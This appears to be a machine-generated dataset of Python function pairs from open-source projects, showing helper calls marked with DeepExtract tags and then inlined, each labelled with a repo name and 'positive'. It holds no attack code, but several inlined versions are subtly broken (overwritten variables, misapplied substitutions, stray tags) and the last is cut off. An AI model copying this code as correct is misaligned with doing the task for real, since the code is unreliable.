self.publish_socket = zmq.Context().socket(zmq.PUB)
self.publish_socket.connect(f'tcp://{zmq_host}:{pub_port}')
self.receive_socket = zmq.Context().socket(zmq.SUB)
self.receive_socket.connect(f'tcp://{zmq_host}:{sub_port}')
self.receive_socket.setsockopt(zmq.SUBSCRIBE, self.p2p_topic.encode())
self.log_info(f"Subscribed to Threat Bus using p2p_topic '{self.p2p_topic}'.")
self.poller = zmq.Poller()
self.poller.register(self.receive_socket, zmq.POLLIN)
self.snapshot = 0
except Exception as e:
self.log_error(e)
time.sleep(5)
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
def exception_handler(loop, context):
self.log_error(f'Error: {context}')
loop.set_exception_handler(exception_handler)
loop.run_until_complete(asyncio.wait([self._heartbeat(), self._receive()]))
loop.close()
|
connectors
|
positive
|
def main(argv=None):
parser = argparse.ArgumentParser(description='Checker for copyright declaration.')
parser.add_argument('filenames', nargs='*', help='Filenames to check')
args = parser.parse_args(argv)
retv = 0
for path in args.filenames:
<DeepExtract>
lang_type = re.compile('\\.(py|sh)$')
if lang_type.search(path) is not None:
comment_mark = '#'
lang_type = re.compile('\\.(h|c|hpp|cc|cpp|cu|go|cuh|proto)$')
if lang_type.search(path) is not None:
comment_mark = '//'
comment_mark = None
</DeepExtract>
if comment_mark is None:
print('warning:Unsupported file', path, file=sys.stderr)
continue
if _check_copyright(path):
continue
<DeepExtract>
original_contents = io.open(path, encoding='utf-8').readlines()
head = original_contents[0:4]
insert_line_no = 0
for (i, line) in enumerate(head):
if RE_ENCODE.search(line) or RE_SHEBANG.search(line):
insert_line_no = i + 1
copyright = _generate_copyright(comment_mark)
if insert_line_no == 0:
new_contents = copyright
if len(original_contents) > 0 and len(original_contents[0].strip()) != 0:
new_contents.append(os.linesep)
new_contents.extend(original_contents)
else:
new_contents = original_contents[0:insert_line_no]
new_contents.append(os.linesep)
new_contents.extend(copyright)
if len(original_contents) > insert_line_no and len(original_contents[insert_line_no].strip()) != 0:
new_contents.append(os.linesep)
new_contents.extend(original_contents[insert_line_no:])
new_contents = ''.join(new_contents)
with io.open(path, 'w') as output_file:
output_file.write(new_contents)
</DeepExtract>
|
def main(argv=None):
parser = argparse.ArgumentParser(description='Checker for copyright declaration.')
parser.add_argument('filenames', nargs='*', help='Filenames to check')
args = parser.parse_args(argv)
retv = 0
for path in args.filenames:
lang_type = re.compile('\\.(py|sh)$')
if lang_type.search(path) is not None:
comment_mark = '#'
lang_type = re.compile('\\.(h|c|hpp|cc|cpp|cu|go|cuh|proto)$')
if lang_type.search(path) is not None:
comment_mark = '//'
comment_mark = None
if comment_mark is None:
print('warning:Unsupported file', path, file=sys.stderr)
continue
if _check_copyright(path):
continue
original_contents = io.open(path, encoding='utf-8').readlines()
head = original_contents[0:4]
insert_line_no = 0
for (i, line) in enumerate(head):
if RE_ENCODE.search(line) or RE_SHEBANG.search(line):
insert_line_no = i + 1
copyright = _generate_copyright(comment_mark)
if insert_line_no == 0:
new_contents = copyright
if len(original_contents) > 0 and len(original_contents[0].strip()) != 0:
new_contents.append(os.linesep)
new_contents.extend(original_contents)
else:
new_contents = original_contents[0:insert_line_no]
new_contents.append(os.linesep)
new_contents.extend(copyright)
if len(original_contents) > insert_line_no and len(original_contents[insert_line_no].strip()) != 0:
new_contents.append(os.linesep)
new_contents.extend(original_contents[insert_line_no:])
new_contents = ''.join(new_contents)
with io.open(path, 'w') as output_file:
output_file.write(new_contents)
</DeepExtract>
|
edl
|
positive
|
def __setstate__(self, state):
global pylibscrypt
import pylibscrypt
<DeepExtract>
global aes256_cbc_decrypt, aes256_ofb_decrypt, missing_pycrypto_warned
if not force_purepython:
try:
import Crypto.Cipher.AES
new_aes = Crypto.Cipher.AES.new
aes256_cbc_decrypt = lambda key, iv, ciphertext: new_aes(key, Crypto.Cipher.AES.MODE_CBC, iv).decrypt(ciphertext)
aes256_ofb_decrypt = lambda key, iv, ciphertext: new_aes(key, Crypto.Cipher.AES.MODE_OFB, iv).decrypt(ciphertext)
return Crypto
except ImportError:
if False and (not missing_pycrypto_warned):
print(prog + ": warning: can't find PyCrypto, using aespython instead", file=sys.stderr)
missing_pycrypto_warned = True
import aespython
expandKey = aespython.key_expander.expandKey
AESCipher = aespython.aes_cipher.AESCipher
def aes256_decrypt_factory(BlockMode):
def aes256_decrypt(key, iv, ciphertext):
block_cipher = AESCipher(expandKey(bytearray(key)))
stream_cipher = BlockMode(block_cipher, 16)
stream_cipher.set_iv(bytearray(iv))
plaintext = bytearray()
for i in xrange(0, len(ciphertext), 16):
plaintext.extend(stream_cipher.decrypt_block(bytearray(ciphertext[i:i + 16])))
return str(plaintext)
return aes256_decrypt
aes256_cbc_decrypt = aes256_decrypt_factory(aespython.CBCMode)
aes256_ofb_decrypt = aes256_decrypt_factory(aespython.OFBMode)
return aespython
</DeepExtract>
self.__dict__ = state
|
def __setstate__(self, state):
global pylibscrypt
import pylibscrypt
global aes256_cbc_decrypt, aes256_ofb_decrypt, missing_pycrypto_warned
if not force_purepython:
try:
import Crypto.Cipher.AES
new_aes = Crypto.Cipher.AES.new
aes256_cbc_decrypt = lambda key, iv, ciphertext: new_aes(key, Crypto.Cipher.AES.MODE_CBC, iv).decrypt(ciphertext)
aes256_ofb_decrypt = lambda key, iv, ciphertext: new_aes(key, Crypto.Cipher.AES.MODE_OFB, iv).decrypt(ciphertext)
return Crypto
except ImportError:
if False and (not missing_pycrypto_warned):
print(prog + ": warning: can't find PyCrypto, using aespython instead", file=sys.stderr)
missing_pycrypto_warned = True
import aespython
expandKey = aespython.key_expander.expandKey
AESCipher = aespython.aes_cipher.AESCipher
def aes256_decrypt_factory(BlockMode):
def aes256_decrypt(key, iv, ciphertext):
block_cipher = AESCipher(expandKey(bytearray(key)))
stream_cipher = BlockMode(block_cipher, 16)
stream_cipher.set_iv(bytearray(iv))
plaintext = bytearray()
for i in xrange(0, len(ciphertext), 16):
plaintext.extend(stream_cipher.decrypt_block(bytearray(ciphertext[i:i + 16])))
return str(plaintext)
return aes256_decrypt
aes256_cbc_decrypt = aes256_decrypt_factory(aespython.CBCMode)
aes256_ofb_decrypt = aes256_decrypt_factory(aespython.OFBMode)
return aespython
self.__dict__ = state
|
btcrecover
|
positive
|
def set_value(self, value):
value = np.array(value, dtype=self._dtype)
if self._shape is not None:
<DeepExtract>
if len(value.shape) != len(self._shape):
raise ValueError('array must have same dim with shape')
for (s, sref) in zip(value.shape, self._shape):
if sref is not None and s != sref:
raise ValueError('array must have same shape with shape')
</DeepExtract>
self.setText(_ndarray_to_string(value))
|
def set_value(self, value):
value = np.array(value, dtype=self._dtype)
if self._shape is not None:
if len(value.shape) != len(self._shape):
raise ValueError('array must have same dim with shape')
for (s, sref) in zip(value.shape, self._shape):
if sref is not None and s != sref:
raise ValueError('array must have same shape with shape')
self.setText(_ndarray_to_string(value))
|
CLOCs
|
positive
|
def test_confirmed_and_non_collaborative(self):
<DeepExtract>
self.project = prepare_project(DOCUMENT_CLASSIFICATION, collaborative_annotation=collaborative)
self.example1 = mommy.make('ExportedExample', project=self.project.item, text='example1')
self.example2 = mommy.make('ExportedExample', project=self.project.item, text='example2')
self.category1 = mommy.make('ExportedCategory', example=self.example1, user=self.project.admin)
self.category2 = mommy.make('ExportedCategory', example=self.example1, user=self.project.annotator)
self.comment1 = mommy.make('ExportedComment', example=self.example1, user=self.project.admin)
self.comment2 = mommy.make('ExportedComment', example=self.example1, user=self.project.annotator)
mommy.make('ExampleState', example=self.example1, confirmed_by=self.project.admin)
self.data1 = self.data_to_text(self.example1)
self.data2 = self.data_to_text(self.example2)
</DeepExtract>
<DeepExtract>
file = export_dataset(self.project.id, 'JSONL', True)
if self.project.item.collaborative_annotation:
dataset = pd.read_json(file, lines=True).to_dict(orient='records')
else:
dataset = read_zip_content(file)
os.remove(file)
datasets = dataset
</DeepExtract>
expected_datasets = {self.project.admin.username: [{**self.data1, 'bbox': [self.bbox1.to_dict()], 'Comments': [self.comment1.to_dict()]}]}
for (username, dataset) in expected_datasets.items():
self.assertEqual(datasets[username], dataset)
|
def test_confirmed_and_non_collaborative(self):
self.project = prepare_project(DOCUMENT_CLASSIFICATION, collaborative_annotation=collaborative)
self.example1 = mommy.make('ExportedExample', project=self.project.item, text='example1')
self.example2 = mommy.make('ExportedExample', project=self.project.item, text='example2')
self.category1 = mommy.make('ExportedCategory', example=self.example1, user=self.project.admin)
self.category2 = mommy.make('ExportedCategory', example=self.example1, user=self.project.annotator)
self.comment1 = mommy.make('ExportedComment', example=self.example1, user=self.project.admin)
self.comment2 = mommy.make('ExportedComment', example=self.example1, user=self.project.annotator)
mommy.make('ExampleState', example=self.example1, confirmed_by=self.project.admin)
self.data1 = self.data_to_text(self.example1)
self.data2 = self.data_to_text(self.example2)
file = export_dataset(self.project.id, 'JSONL', True)
if self.project.item.collaborative_annotation:
dataset = pd.read_json(file, lines=True).to_dict(orient='records')
else:
dataset = read_zip_content(file)
os.remove(file)
datasets = dataset
expected_datasets = {self.project.admin.username: [{**self.data1, 'bbox': [self.bbox1.to_dict()], 'Comments': [self.comment1.to_dict()]}]}
for (username, dataset) in expected_datasets.items():
self.assertEqual(datasets[username], dataset)
|
doccano
|
positive
|
def extrude_balcony(bm, face, depth, normal):
front = filter_geom(bmesh.ops.extrude_face_region(bm, geom=[face])['geom'], BMFace)[0]
<DeepExtract>
new_faces = {f for e in front.edges for f in e.link_faces}
add_faces_to_map(bm, new_faces, FaceMap.BALCONY)
</DeepExtract>
bmesh.ops.translate(bm, verts=front.verts, vec=normal * depth)
top = get_top_faces((f for e in front.edges for f in e.link_faces))[0]
return (front, top)
|
def extrude_balcony(bm, face, depth, normal):
front = filter_geom(bmesh.ops.extrude_face_region(bm, geom=[face])['geom'], BMFace)[0]
new_faces = {f for e in front.edges for f in e.link_faces}
add_faces_to_map(bm, new_faces, FaceMap.BALCONY)
bmesh.ops.translate(bm, verts=front.verts, vec=normal * depth)
top = get_top_faces((f for e in front.edges for f in e.link_faces))[0]
return (front, top)
|
building_tools
|
positive
|
def merge_cfg_from_list(cfg_list):
"""Merge config keys, values in a list (e.g., from command line) into the
global config. For example, `cfg_list = ['TEST.NMS', 0.5]`.
"""
assert len(cfg_list) % 2 == 0
for (full_key, v) in zip(cfg_list[0::2], cfg_list[1::2]):
if _key_is_deprecated(full_key):
continue
if _key_is_renamed(full_key):
<DeepExtract>
new_key = _RENAMED_KEYS[full_key]
if isinstance(new_key, tuple):
msg = ' Note: ' + new_key[1]
new_key = new_key[0]
else:
msg = ''
raise KeyError('Key {} was renamed to {}; please update your config.{}'.format(full_key, new_key, msg))
</DeepExtract>
key_list = full_key.split('.')
d = __C
for subkey in key_list[:-1]:
assert subkey in d, 'Non-existent key: {}'.format(full_key)
d = d[subkey]
subkey = key_list[-1]
assert subkey in d, 'Non-existent key: {}'.format(full_key)
<DeepExtract>
if isinstance(v, dict):
value = AttrDict(v)
if not isinstance(v, six.string_types):
value = v
try:
v = literal_eval(v)
except ValueError:
pass
except SyntaxError:
pass
value = v
</DeepExtract>
<DeepExtract>
type_b = type(d[subkey])
type_a = type(value)
if type_a is type_b:
value = value
if isinstance(d[subkey], np.ndarray):
value = np.array(value, dtype=d[subkey].dtype)
elif isinstance(d[subkey], six.string_types):
value = str(value)
elif isinstance(value, tuple) and isinstance(d[subkey], list):
value = list(value)
elif isinstance(value, list) and isinstance(d[subkey], tuple):
value = tuple(value)
else:
raise ValueError('Type mismatch ({} vs. {}) with values ({} vs. {}) for config key: {}'.format(type_b, type_a, d[subkey], value, full_key))
value = value
</DeepExtract>
d[subkey] = value
|
def merge_cfg_from_list(cfg_list):
"""Merge config keys, values in a list (e.g., from command line) into the
global config. For example, `cfg_list = ['TEST.NMS', 0.5]`.
"""
assert len(cfg_list) % 2 == 0
for (full_key, v) in zip(cfg_list[0::2], cfg_list[1::2]):
if _key_is_deprecated(full_key):
continue
if _key_is_renamed(full_key):
new_key = _RENAMED_KEYS[full_key]
if isinstance(new_key, tuple):
msg = ' Note: ' + new_key[1]
new_key = new_key[0]
else:
msg = ''
raise KeyError('Key {} was renamed to {}; please update your config.{}'.format(full_key, new_key, msg))
key_list = full_key.split('.')
d = __C
for subkey in key_list[:-1]:
assert subkey in d, 'Non-existent key: {}'.format(full_key)
d = d[subkey]
subkey = key_list[-1]
assert subkey in d, 'Non-existent key: {}'.format(full_key)
if isinstance(v, dict):
value = AttrDict(v)
if not isinstance(v, six.string_types):
value = v
try:
v = literal_eval(v)
except ValueError:
pass
except SyntaxError:
pass
value = v
type_b = type(d[subkey])
type_a = type(value)
if type_a is type_b:
value = value
if isinstance(d[subkey], np.ndarray):
value = np.array(value, dtype=d[subkey].dtype)
elif isinstance(d[subkey], six.string_types):
value = str(value)
elif isinstance(value, tuple) and isinstance(d[subkey], list):
value = list(value)
elif isinstance(value, list) and isinstance(d[subkey], tuple):
value = tuple(value)
else:
raise ValueError('Type mismatch ({} vs. {}) with values ({} vs. {}) for config key: {}'.format(type_b, type_a, d[subkey], value, full_key))
value = value
d[subkey] = value
|
Detectron-DA-Faster-RCNN
|
positive
|
def body(time, elements_finished, current_input, emit_ta, state, loop_state):
"""Internal while loop body for raw_rnn.
Args:
time: time scalar.
elements_finished: batch-size vector.
current_input: possibly nested tuple of input tensors.
emit_ta: possibly nested tuple of output TensorArrays.
state: possibly nested tuple of state tensors.
loop_state: possibly nested tuple of loop state tensors.
Returns:
Tuple having the same size as Args but with updated values.
"""
(next_output, cell_state) = cell(current_input, state)
nest.assert_same_structure(state, cell_state)
nest.assert_same_structure(cell.output_size, next_output)
next_time = time + 1
(next_finished, next_input, next_state, emit_output, next_loop_state) = loop_fn(next_time, next_output, cell_state, loop_state)
nest.assert_same_structure(state, next_state)
nest.assert_same_structure(current_input, next_input)
nest.assert_same_structure(emit_ta, emit_output)
loop_state = loop_state if next_loop_state is None else next_loop_state
def _copy_some_through(current, candidate):
"""Copy some tensors through via array_ops.where."""
def copy_fn(cur_i, cand_i):
with ops.colocate_with(cand_i):
return array_ops.where(elements_finished, cur_i, cand_i)
return nest.map_structure(copy_fn, current, candidate)
<DeepExtract>
zero_emit = [_copy_one_through(zero_output, new_output) for (zero_output, new_output) in zip(flat_zero_output, zero_emit)]
emit_output = [_copy_one_through(state, new_state) for (state, new_state) in zip(flat_state, emit_output)]
emit_output = zero_emit + emit_output
</DeepExtract>
<DeepExtract>
state = [_copy_one_through(zero_output, new_output) for (zero_output, new_output) in zip(flat_zero_output, state)]
next_state = [_copy_one_through(state, new_state) for (state, new_state) in zip(flat_state, next_state)]
next_state = state + next_state
</DeepExtract>
emit_ta = nest.map_structure(lambda ta, emit: ta.write(time, emit), emit_ta, emit_output)
elements_finished = math_ops.logical_or(elements_finished, next_finished)
return (next_time, elements_finished, next_input, emit_ta, next_state, loop_state)
|
def body(time, elements_finished, current_input, emit_ta, state, loop_state):
"""Internal while loop body for raw_rnn.
Args:
time: time scalar.
elements_finished: batch-size vector.
current_input: possibly nested tuple of input tensors.
emit_ta: possibly nested tuple of output TensorArrays.
state: possibly nested tuple of state tensors.
loop_state: possibly nested tuple of loop state tensors.
Returns:
Tuple having the same size as Args but with updated values.
"""
(next_output, cell_state) = cell(current_input, state)
nest.assert_same_structure(state, cell_state)
nest.assert_same_structure(cell.output_size, next_output)
next_time = time + 1
(next_finished, next_input, next_state, emit_output, next_loop_state) = loop_fn(next_time, next_output, cell_state, loop_state)
nest.assert_same_structure(state, next_state)
nest.assert_same_structure(current_input, next_input)
nest.assert_same_structure(emit_ta, emit_output)
loop_state = loop_state if next_loop_state is None else next_loop_state
def _copy_some_through(current, candidate):
"""Copy some tensors through via array_ops.where."""
def copy_fn(cur_i, cand_i):
with ops.colocate_with(cand_i):
return array_ops.where(elements_finished, cur_i, cand_i)
return nest.map_structure(copy_fn, current, candidate)
zero_emit = [_copy_one_through(zero_output, new_output) for (zero_output, new_output) in zip(flat_zero_output, zero_emit)]
emit_output = [_copy_one_through(state, new_state) for (state, new_state) in zip(flat_state, emit_output)]
emit_output = zero_emit + emit_output
state = [_copy_one_through(zero_output, new_output) for (zero_output, new_output) in zip(flat_zero_output, state)]
next_state = [_copy_one_through(state, new_state) for (state, new_state) in zip(flat_state, next_state)]
next_state = state + next_state
emit_ta = nest.map_structure(lambda ta, emit: ta.write(time, emit), emit_ta, emit_output)
elements_finished = math_ops.logical_or(elements_finished, next_finished)
return (next_time, elements_finished, next_input, emit_ta, next_state, loop_state)
|
ai_explore
|
positive
|
def to_atom(self, *args, **kwargs):
<DeepExtract>
options = options or {}
*args = self.to_simple(*args, options)
fg = FeedGenerator()
fg.id(str(hash(json.dumps(*args.get('meta', *args), sort_keys=True))))
fg.link(href=reverse_url('clist:main'))
fg.title('CLIST Feed')
fg.description('Events of competitive programming')
fg.icon(reverse_url('favicon'))
fg.logo(reverse_url('favicon'))
(name, email) = settings.ADMINS[0]
fg.author(name=name, email=email)
if isinstance(*args.get('objects'), Iterable):
template = get_template('tastypie_swagger/atom_content.html')
for contest in *args['objects']:
resource = contest['releated_resource']
fe = fg.add_entry()
fe.guid(str(contest['id']))
fe.title(str(contest['event']))
fe.link(href=contest['href'])
fe.author(name=resource['name'], uri=resource['url'])
fe.source(title=resource['name'], url=resource['url'])
fe.updated(str(arrow.get(contest['updated'])))
fe.published(str(arrow.get(contest['start_time'])))
fe.content(template.render({'contest': contest, 'resource': resource, 'host': settings.HTTPS_HOST_}))
else:
fg.description(json.dumps(*args))
fg = fg
</DeepExtract>
return fg.atom_str(pretty=True)
|
def to_atom(self, *args, **kwargs):
options = options or {}
*args = self.to_simple(*args, options)
fg = FeedGenerator()
fg.id(str(hash(json.dumps(*args.get('meta', *args), sort_keys=True))))
fg.link(href=reverse_url('clist:main'))
fg.title('CLIST Feed')
fg.description('Events of competitive programming')
fg.icon(reverse_url('favicon'))
fg.logo(reverse_url('favicon'))
(name, email) = settings.ADMINS[0]
fg.author(name=name, email=email)
if isinstance(*args.get('objects'), Iterable):
template = get_template('tastypie_swagger/atom_content.html')
for contest in *args['objects']:
resource = contest['releated_resource']
fe = fg.add_entry()
fe.guid(str(contest['id']))
fe.title(str(contest['event']))
fe.link(href=contest['href'])
fe.author(name=resource['name'], uri=resource['url'])
fe.source(title=resource['name'], url=resource['url'])
fe.updated(str(arrow.get(contest['updated'])))
fe.published(str(arrow.get(contest['start_time'])))
fe.content(template.render({'contest': contest, 'resource': resource, 'host': settings.HTTPS_HOST_}))
else:
fg.description(json.dumps(*args))
fg = fg
return fg.atom_str(pretty=True)
|
clist
|
positive
|
def replace_refs(d: Any, rewrite: Dict[str, str], stem: str, newstem: str) -> None:
if isinstance(d, MutableSequence):
for (s, v) in enumerate(d):
if isinstance(v, str):
if v in rewrite:
d[s] = rewrite[v]
elif v.startswith(stem):
d[s] = newstem + v[len(stem):]
rewrite[v] = d[s]
else:
<DeepExtract>
if isinstance(v, MutableSequence):
for (s, v) in enumerate(v):
if isinstance(v, str):
if v in rewrite:
v[s] = rewrite[v]
elif v.startswith(stem):
v[s] = newstem + v[len(stem):]
rewrite[v] = v[s]
else:
replace_refs(v, rewrite, stem, newstem)
elif isinstance(v, MutableMapping):
for (key, val) in v.items():
if isinstance(val, str):
if val in rewrite:
v[key] = rewrite[val]
elif val.startswith(stem):
id_ = val[len(stem):]
if id_.startswith(newstem.strip('#')):
v[key] = '#' + id_
else:
v[key] = newstem + id_
rewrite[val] = v[key]
replace_refs(val, rewrite, stem, newstem)
</DeepExtract>
elif isinstance(d, MutableMapping):
for (key, val) in d.items():
if isinstance(val, str):
if val in rewrite:
d[key] = rewrite[val]
elif val.startswith(stem):
id_ = val[len(stem):]
if id_.startswith(newstem.strip('#')):
d[key] = '#' + id_
else:
d[key] = newstem + id_
rewrite[val] = d[key]
<DeepExtract>
if isinstance(val, MutableSequence):
for (s, v) in enumerate(val):
if isinstance(v, str):
if v in rewrite:
val[s] = rewrite[v]
elif v.startswith(stem):
val[s] = newstem + v[len(stem):]
rewrite[v] = val[s]
else:
replace_refs(v, rewrite, stem, newstem)
elif isinstance(val, MutableMapping):
for (key, val) in val.items():
if isinstance(val, str):
if val in rewrite:
val[key] = rewrite[val]
elif val.startswith(stem):
id_ = val[len(stem):]
if id_.startswith(newstem.strip('#')):
val[key] = '#' + id_
else:
val[key] = newstem + id_
rewrite[val] = val[key]
replace_refs(val, rewrite, stem, newstem)
</DeepExtract>
|
def replace_refs(d: Any, rewrite: Dict[str, str], stem: str, newstem: str) -> None:
if isinstance(d, MutableSequence):
for (s, v) in enumerate(d):
if isinstance(v, str):
if v in rewrite:
d[s] = rewrite[v]
elif v.startswith(stem):
d[s] = newstem + v[len(stem):]
rewrite[v] = d[s]
else:
if isinstance(v, MutableSequence):
for (s, v) in enumerate(v):
if isinstance(v, str):
if v in rewrite:
v[s] = rewrite[v]
elif v.startswith(stem):
v[s] = newstem + v[len(stem):]
rewrite[v] = v[s]
else:
replace_refs(v, rewrite, stem, newstem)
elif isinstance(v, MutableMapping):
for (key, val) in v.items():
if isinstance(val, str):
if val in rewrite:
v[key] = rewrite[val]
elif val.startswith(stem):
id_ = val[len(stem):]
if id_.startswith(newstem.strip('#')):
v[key] = '#' + id_
else:
v[key] = newstem + id_
rewrite[val] = v[key]
replace_refs(val, rewrite, stem, newstem)
elif isinstance(d, MutableMapping):
for (key, val) in d.items():
if isinstance(val, str):
if val in rewrite:
d[key] = rewrite[val]
elif val.startswith(stem):
id_ = val[len(stem):]
if id_.startswith(newstem.strip('#')):
d[key] = '#' + id_
else:
d[key] = newstem + id_
rewrite[val] = d[key]
if isinstance(val, MutableSequence):
for (s, v) in enumerate(val):
if isinstance(v, str):
if v in rewrite:
val[s] = rewrite[v]
elif v.startswith(stem):
val[s] = newstem + v[len(stem):]
rewrite[v] = val[s]
else:
replace_refs(v, rewrite, stem, newstem)
elif isinstance(val, MutableMapping):
for (key, val) in val.items():
if isinstance(val, str):
if val in rewrite:
val[key] = rewrite[val]
elif val.startswith(stem):
id_ = val[len(stem):]
if id_.startswith(newstem.strip('#')):
val[key] = '#' + id_
else:
val[key] = newstem + id_
rewrite[val] = val[key]
replace_refs(val, rewrite, stem, newstem)
</DeepExtract>
|
cwltool
|
positive
|
def double_linear_logits(args, size, bias, bias_start=0.0, scope=None, mask=None, wd=0.0, input_keep_prob=1.0, is_train=None):
with tf.variable_scope(scope or 'Double_Linear_Logits'):
first = tf.tanh(linear(args, size, bias, bias_start=bias_start, scope='first', wd=wd, input_keep_prob=input_keep_prob, is_train=is_train))
<DeepExtract>
if first is None or (nest.is_sequence(first) and (not first)):
raise ValueError('`args` must be specified')
if not nest.is_sequence(first):
first = [first]
flat_args = [flatten(arg, 1) for arg in first]
if input_keep_prob < 1.0:
assert is_train is not None
flat_args = [tf.cond(is_train, lambda : tf.nn.dropout(arg, input_keep_prob), lambda : arg) for arg in flat_args]
flat_out = _linear(flat_args, 1, bias, bias_start=bias_start, scope='second')
out = reconstruct(flat_out, first[0], 1)
if True:
out = tf.squeeze(out, [len(first[0].get_shape().as_list()) - 1])
if wd:
add_wd(wd)
second = out
</DeepExtract>
if mask is not None:
second = exp_mask(second, mask)
return second
|
def double_linear_logits(args, size, bias, bias_start=0.0, scope=None, mask=None, wd=0.0, input_keep_prob=1.0, is_train=None):
with tf.variable_scope(scope or 'Double_Linear_Logits'):
first = tf.tanh(linear(args, size, bias, bias_start=bias_start, scope='first', wd=wd, input_keep_prob=input_keep_prob, is_train=is_train))
if first is None or (nest.is_sequence(first) and (not first)):
raise ValueError('`args` must be specified')
if not nest.is_sequence(first):
first = [first]
flat_args = [flatten(arg, 1) for arg in first]
if input_keep_prob < 1.0:
assert is_train is not None
flat_args = [tf.cond(is_train, lambda : tf.nn.dropout(arg, input_keep_prob), lambda : arg) for arg in flat_args]
flat_out = _linear(flat_args, 1, bias, bias_start=bias_start, scope='second')
out = reconstruct(flat_out, first[0], 1)
if True:
out = tf.squeeze(out, [len(first[0].get_shape().as_list()) - 1])
if wd:
add_wd(wd)
second = out
if mask is not None:
second = exp_mask(second, mask)
return second
|
bi-att-flow
|
positive
|
def test_get_metric_values_read_from_several_experiment_runs(tmpdir):
summary_dir = tmpdir / 'experiment_id' / 'summary_dir'
summary_writer = tf.summary.create_file_writer(str(summary_dir), flush_millis=0)
<DeepExtract>
with summary_writer.as_default():
with tf.summary.record_if(True):
step_tensor = tf.constant(0, dtype=tf.int64)
tf.compat.v2.summary.scalar(name=TAG_NAME, data=tf.zeros(shape=()), step=step_tensor)
</DeepExtract>
later_summary_dir = tmpdir / 'experiment_id_2' / 'summary_dir'
later_summary_writer = tf.summary.create_file_writer(str(later_summary_dir), flush_millis=0)
<DeepExtract>
with later_summary_writer.as_default():
with tf.summary.record_if(True):
step_tensor = tf.constant(0, dtype=tf.int64)
tf.compat.v2.summary.scalar(name=TAG_NAME, data=tf.ones(shape=()), step=step_tensor)
</DeepExtract>
metric_values = get_metric_values(str(tmpdir), 'summary_dir', TAG_NAME, ['experiment_id', 'experiment_id_2'])
assert {'experiment_id': {0: 0.0}, 'experiment_id_2': {0: 1.0}} == metric_values
|
def test_get_metric_values_read_from_several_experiment_runs(tmpdir):
summary_dir = tmpdir / 'experiment_id' / 'summary_dir'
summary_writer = tf.summary.create_file_writer(str(summary_dir), flush_millis=0)
with summary_writer.as_default():
with tf.summary.record_if(True):
step_tensor = tf.constant(0, dtype=tf.int64)
tf.compat.v2.summary.scalar(name=TAG_NAME, data=tf.zeros(shape=()), step=step_tensor)
later_summary_dir = tmpdir / 'experiment_id_2' / 'summary_dir'
later_summary_writer = tf.summary.create_file_writer(str(later_summary_dir), flush_millis=0)
with later_summary_writer.as_default():
with tf.summary.record_if(True):
step_tensor = tf.constant(0, dtype=tf.int64)
tf.compat.v2.summary.scalar(name=TAG_NAME, data=tf.ones(shape=()), step=step_tensor)
metric_values = get_metric_values(str(tmpdir), 'summary_dir', TAG_NAME, ['experiment_id', 'experiment_id_2'])
assert {'experiment_id': {0: 0.0}, 'experiment_id_2': {0: 1.0}} == metric_values
|
bellman
|
positive
|
def prepare_for_ava_detection(predictions, dataset):
ava_results = {}
score_thresh = dataset.action_thresh
TO_REMOVE = 1.0
for (video_id, prediction) in enumerate(predictions):
video_info = dataset.get_video_info(video_id)
if len(prediction) == 0:
continue
video_width = video_info['width']
video_height = video_info['height']
prediction = prediction.resize((video_width, video_height))
prediction = prediction.convert('xyxy')
boxes = prediction.bbox.numpy()
boxes[:, [2, 3]] += TO_REMOVE
boxes[:, [0, 2]] /= video_width
boxes[:, [1, 3]] /= video_height
boxes = np.clip(boxes, 0.0, 1.0)
scores = prediction.get_field('scores').numpy()
(box_ids, action_ids) = np.where(scores >= score_thresh)
boxes = boxes[box_ids, :]
scores = scores[box_ids, action_ids]
action_ids = action_ids + 1
movie_name = video_info['movie']
timestamp = video_info['timestamp']
<DeepExtract>
clip_key = '%s,%04d' % (movie_name, int(timestamp))
</DeepExtract>
ava_results[clip_key] = {'boxes': boxes, 'scores': scores, 'action_ids': action_ids}
return ava_results
|
def prepare_for_ava_detection(predictions, dataset):
ava_results = {}
score_thresh = dataset.action_thresh
TO_REMOVE = 1.0
for (video_id, prediction) in enumerate(predictions):
video_info = dataset.get_video_info(video_id)
if len(prediction) == 0:
continue
video_width = video_info['width']
video_height = video_info['height']
prediction = prediction.resize((video_width, video_height))
prediction = prediction.convert('xyxy')
boxes = prediction.bbox.numpy()
boxes[:, [2, 3]] += TO_REMOVE
boxes[:, [0, 2]] /= video_width
boxes[:, [1, 3]] /= video_height
boxes = np.clip(boxes, 0.0, 1.0)
scores = prediction.get_field('scores').numpy()
(box_ids, action_ids) = np.where(scores >= score_thresh)
boxes = boxes[box_ids, :]
scores = scores[box_ids, action_ids]
action_ids = action_ids + 1
movie_name = video_info['movie']
timestamp = video_info['timestamp']
clip_key = '%s,%04d' % (movie_name, int(timestamp))
ava_results[clip_key] = {'boxes': boxes, 'scores': scores, 'action_ids': action_ids}
return ava_results
|
AlphAction
|
positive
|
def backup(self, password, selected_paths, exclude_rules=None, include_hidden=False):
if exclude_rules is None:
exclude_rules = set()
exclude_rules.add(f'{BLOBBACKUP_DIR}*')
self.logger.info('----------------------------------------------')
time.sleep(0.5)
self.logger.info('Backup started')
self.callback('Backing up')
<DeepExtract>
self.logger.debug('Repo._get_blob_set()')
if self.cancel:
blob_set = set()
blob_set = set()
for blob_path in self.backend.ls('blobs'):
if self.cancel:
blob_set = blob_set
blob_set.add(basename(blob_path))
blob_set = blob_set
</DeepExtract>
self.logger.info('Downloaded metadata')
<DeepExtract>
self.logger.debug(f'Repo._init_backup({str(selected_paths)})')
self.backed_up_size = 0
self.uploaded_size = 0
self.backup_start_time = time.time()
pool = BoundedThreadPoolExecutor(self.max_thread_queue_size, self.thread_count)
snapshot_obj = self._get_partial_snapshot_obj(selected_paths)
master_key = self._get_master_key(password)
salt = self.backend.read('keys/salt')
(snapshot_obj, skipped_paths, pool, master_key, salt) = (snapshot_obj, [], pool, master_key, salt)
</DeepExtract>
<DeepExtract>
for selected_path in selected_paths:
self.logger.info(f'Processing {selected_path}')
if self._should_skip_path(selected_path, skipped_paths, exclude_rules, include_hidden):
continue
if os.path.isfile(selected_path):
if self.cancel:
return
pool.submit(self._add_file_to_snapshot, master_key, salt, skipped_paths, snapshot_obj, pool, blob_set, selected_path)
continue
for (root, dirs, files) in os.walk(selected_path):
if self._should_skip_path(root, skipped_paths, exclude_rules, include_hidden):
continue
for d in dirs:
if self.cancel:
return
path = os.path.join(root, d)
if self._should_skip_path(path, skipped_paths, exclude_rules, include_hidden):
continue
self._add_dir_to_snapshot(snapshot_obj, path)
for f in files:
if self.cancel:
return
path = os.path.join(root, f)
